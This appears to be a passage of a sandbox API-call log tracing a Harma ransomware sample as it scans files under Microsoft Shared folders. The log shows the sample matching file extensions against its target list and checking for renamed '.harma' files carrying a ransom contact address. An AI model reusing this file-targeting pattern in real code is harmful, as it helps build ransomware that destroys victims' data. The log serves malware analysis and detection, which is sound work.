lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0054.744] lstrlenW (lpString=".zip") returned 4 [0054.744] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0054.744] lstrlenW (lpString=".rar") returned 4 [0054.744] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0054.744] lstrlenW (lpString=".bz2") returned 4 [0054.744] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0054.744] lstrlenW (lpString=".7z") returned 3 [0054.744] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0054.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0054.744] lstrlenW (lpString=".dbf") returned 4 [0054.744] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0054.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0054.744] lstrlenW (lpString=".1cd") returned 4 [0054.744] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0054.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0054.744] lstrlenW (lpString=".jpg") returned 4 [0054.745] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0054.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0054.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0054.745] lstrlenW (lpString=".doc") returned 4 [0054.745] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0054.745] lstrlenW (lpString=".docx") returned 5 [0054.745] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0054.745] lstrlenW (lpString=".pdf") returned 4 [0054.745] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0054.745] lstrlenW (lpString=".xls") returned 4 [0054.745] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0054.745] lstrlenW (lpString=".xlsx") returned 5 [0054.745] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0054.745] lstrlenW (lpString=".ppt") returned 4 [0054.745] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0054.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0054.745] lstrlenW (lpString=".zip") returned 4 [0054.745] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0054.745] lstrlenW (lpString=".rar") returned 4 [0054.745] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0054.745] lstrlenW (lpString=".bz2") returned 4 [0054.745] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0054.745] lstrlenW (lpString=".7z") returned 3 [0054.745] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0054.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0054.745] lstrlenW (lpString=".dbf") returned 4 [0054.745] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0054.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0054.745] lstrlenW (lpString=".1cd") returned 4 [0054.745] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0054.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0054.745] lstrlenW (lpString=".jpg") returned 4 [0054.746] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0054.746] lstrcmpiW (lpString1=".htm", lpString2=".harma") returned 1 [0054.746] lstrlenW (lpString="Bears.htm") returned 9 [0054.746] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0054.747] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=255) returned 1 [0054.747] CloseHandle (hObject=0x170) returned 1 [0054.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0054.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0054.748] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0054.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0054.748] lstrlenW (lpString=".doc") returned 4 [0054.748] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0054.748] lstrlenW (lpString=".docx") returned 5 [0054.748] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0054.748] lstrlenW (lpString=".pdf") returned 4 [0054.748] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0054.748] lstrlenW (lpString=".xls") returned 4 [0054.748] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0054.748] lstrlenW (lpString=".xlsx") returned 5 [0054.748] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0054.748] lstrlenW (lpString=".ppt") returned 4 [0054.748] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0054.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0054.748] lstrlenW (lpString=".zip") returned 4 [0054.748] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0054.748] lstrlenW (lpString=".rar") returned 4 [0054.748] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0054.748] lstrlenW (lpString=".bz2") returned 4 [0054.748] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0054.748] lstrlenW (lpString=".7z") returned 3 [0054.748] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0054.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0054.748] lstrlenW (lpString=".dbf") returned 4 [0054.748] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0054.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0054.748] lstrlenW (lpString=".1cd") returned 4 [0054.749] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0054.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0054.749] lstrlenW (lpString=".jpg") returned 4 [0054.749] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0054.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0054.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0054.749] lstrlenW (lpString=".doc") returned 4 [0054.749] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0054.749] lstrlenW (lpString=".docx") returned 5 [0054.749] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0054.749] lstrlenW (lpString=".pdf") returned 4 [0054.749] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0054.749] lstrlenW (lpString=".xls") returned 4 [0054.749] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0054.749] lstrlenW (lpString=".xlsx") returned 5 [0054.749] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0054.749] lstrlenW (lpString=".ppt") returned 4 [0054.749] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0054.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0054.749] lstrlenW (lpString=".zip") returned 4 [0054.749] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0054.749] lstrlenW (lpString=".rar") returned 4 [0054.749] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0054.749] lstrlenW (lpString=".bz2") returned 4 [0054.749] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0054.749] lstrlenW (lpString=".7z") returned 3 [0054.749] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0054.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0054.749] lstrlenW (lpString=".dbf") returned 4 [0054.749] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0054.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0054.750] lstrlenW (lpString=".1cd") returned 4 [0054.750] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0054.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0054.750] lstrlenW (lpString=".jpg") returned 4 [0054.750] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0054.750] lstrcmpiW (lpString1=".jpg", lpString2=".harma") returned 1 [0054.750] lstrlenW (lpString="Bears.jpg") returned 9 [0054.750] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0054.750] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=1074) returned 1 [0054.750] CloseHandle (hObject=0x170) returned 1 [0054.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0054.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0054.750] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0054.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0054.751] lstrlenW (lpString=".doc") returned 4 [0054.751] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0054.751] lstrlenW (lpString=".docx") returned 5 [0054.751] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0054.751] lstrlenW (lpString=".pdf") returned 4 [0054.751] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0054.751] lstrlenW (lpString=".xls") returned 4 [0054.751] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0054.751] lstrlenW (lpString=".xlsx") returned 5 [0054.751] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0054.751] lstrlenW (lpString=".ppt") returned 4 [0054.751] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0054.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0054.751] lstrlenW (lpString=".zip") returned 4 [0054.751] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0054.751] lstrlenW (lpString=".rar") returned 4 [0054.751] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0054.751] lstrlenW (lpString=".bz2") returned 4 [0054.751] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0054.751] lstrlenW (lpString=".7z") returned 3 [0054.751] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0054.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0054.752] lstrlenW (lpString=".dbf") returned 4 [0054.752] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0054.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0054.752] lstrlenW (lpString=".1cd") returned 4 [0054.752] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0054.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0054.752] lstrlenW (lpString=".jpg") returned 4 [0054.752] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0054.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0054.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0054.752] lstrlenW (lpString=".doc") returned 4 [0054.752] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0054.752] lstrlenW (lpString=".docx") returned 5 [0054.752] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0054.752] lstrlenW (lpString=".pdf") returned 4 [0054.752] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0054.752] lstrlenW (lpString=".xls") returned 4 [0054.752] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0054.752] lstrlenW (lpString=".xlsx") returned 5 [0054.752] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0054.752] lstrlenW (lpString=".ppt") returned 4 [0054.752] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0054.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0054.752] lstrlenW (lpString=".zip") returned 4 [0054.752] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0054.752] lstrlenW (lpString=".rar") returned 4 [0054.752] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0054.752] lstrlenW (lpString=".bz2") returned 4 [0054.752] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0054.752] lstrlenW (lpString=".7z") returned 3 [0054.752] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0054.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0054.753] lstrlenW (lpString=".dbf") returned 4 [0054.753] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0054.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0054.753] lstrlenW (lpString=".1cd") returned 4 [0054.753] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0054.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0054.753] lstrlenW (lpString=".jpg") returned 4 [0054.753] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0054.753] lstrcmpiW (lpString1=".jpg", lpString2=".harma") returned 1 [0054.753] lstrlenW (lpString="Blue_Gradient.jpg") returned 17 [0054.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0054.754] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=2575) returned 1 [0054.754] CloseHandle (hObject=0x170) returned 1 [0054.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg")) returned 0x20 [0054.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0054.754] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0054.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0054.754] lstrlenW (lpString=".doc") returned 4 [0054.754] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0054.754] lstrlenW (lpString=".docx") returned 5 [0054.754] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0054.754] lstrlenW (lpString=".pdf") returned 4 [0054.754] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0054.754] lstrlenW (lpString=".xls") returned 4 [0054.754] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0054.754] lstrlenW (lpString=".xlsx") returned 5 [0054.754] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0054.754] lstrlenW (lpString=".ppt") returned 4 [0054.755] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0054.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0054.755] lstrlenW (lpString=".zip") returned 4 [0054.755] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0054.755] lstrlenW (lpString=".rar") returned 4 [0054.755] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0054.755] lstrlenW (lpString=".bz2") returned 4 [0054.755] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0054.755] lstrlenW (lpString=".7z") returned 3 [0054.755] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0054.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0054.755] lstrlenW (lpString=".dbf") returned 4 [0054.755] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0054.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0054.755] lstrlenW (lpString=".1cd") returned 4 [0054.755] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0054.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0054.755] lstrlenW (lpString=".jpg") returned 4 [0054.755] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0054.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0054.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0054.755] lstrlenW (lpString=".doc") returned 4 [0054.755] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0054.755] lstrlenW (lpString=".docx") returned 5 [0054.755] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0054.755] lstrlenW (lpString=".pdf") returned 4 [0054.755] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0054.755] lstrlenW (lpString=".xls") returned 4 [0054.755] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0054.755] lstrlenW (lpString=".xlsx") returned 5 [0054.755] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0054.755] lstrlenW (lpString=".ppt") returned 4 [0054.756] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0054.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0054.756] lstrlenW (lpString=".zip") returned 4 [0054.756] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0054.756] lstrlenW (lpString=".rar") returned 4 [0054.756] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0054.756] lstrlenW (lpString=".bz2") returned 4 [0054.756] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0054.756] lstrlenW (lpString=".7z") returned 3 [0054.756] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0054.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0054.756] lstrlenW (lpString=".dbf") returned 4 [0054.756] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0054.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0054.756] lstrlenW (lpString=".1cd") returned 4 [0054.756] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0054.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0054.756] lstrlenW (lpString=".jpg") returned 4 [0054.756] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0054.756] lstrcmpiW (lpString1=".gif", lpString2=".harma") returned -1 [0054.756] lstrlenW (lpString="Cave_Drawings.gif") returned 17 [0054.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0054.757] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=4587) returned 1 [0054.757] CloseHandle (hObject=0x170) returned 1 [0054.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif")) returned 0x20 [0054.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0054.757] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0054.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0054.757] lstrlenW (lpString=".doc") returned 4 [0054.757] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0054.757] lstrlenW (lpString=".docx") returned 5 [0054.757] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0054.757] lstrlenW (lpString=".pdf") returned 4 [0054.757] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0054.757] lstrlenW (lpString=".xls") returned 4 [0054.757] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0054.757] lstrlenW (lpString=".xlsx") returned 5 [0054.757] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0054.757] lstrlenW (lpString=".ppt") returned 4 [0054.757] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0054.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0054.757] lstrlenW (lpString=".zip") returned 4 [0054.757] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0054.757] lstrlenW (lpString=".rar") returned 4 [0054.757] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0054.757] lstrlenW (lpString=".bz2") returned 4 [0054.757] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0054.758] lstrlenW (lpString=".7z") returned 3 [0054.758] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0054.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0054.758] lstrlenW (lpString=".dbf") returned 4 [0054.758] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0054.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0054.758] lstrlenW (lpString=".1cd") returned 4 [0054.758] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0054.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0054.758] lstrlenW (lpString=".jpg") returned 4 [0054.758] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0054.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0054.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0054.758] lstrlenW (lpString=".doc") returned 4 [0054.758] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0054.758] lstrlenW (lpString=".docx") returned 5 [0054.758] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0054.758] lstrlenW (lpString=".pdf") returned 4 [0054.758] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0054.758] lstrlenW (lpString=".xls") returned 4 [0054.758] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0054.758] lstrlenW (lpString=".xlsx") returned 5 [0054.758] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0054.758] lstrlenW (lpString=".ppt") returned 4 [0054.758] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0054.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0054.758] lstrlenW (lpString=".zip") returned 4 [0054.758] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0054.758] lstrlenW (lpString=".rar") returned 4 [0054.758] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0054.758] lstrlenW (lpString=".bz2") returned 4 [0054.759] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0054.759] lstrlenW (lpString=".7z") returned 3 [0054.759] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0054.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0054.759] lstrlenW (lpString=".dbf") returned 4 [0054.759] lstrcmpiW (lpString1=".dbf", lpString2=".gif") 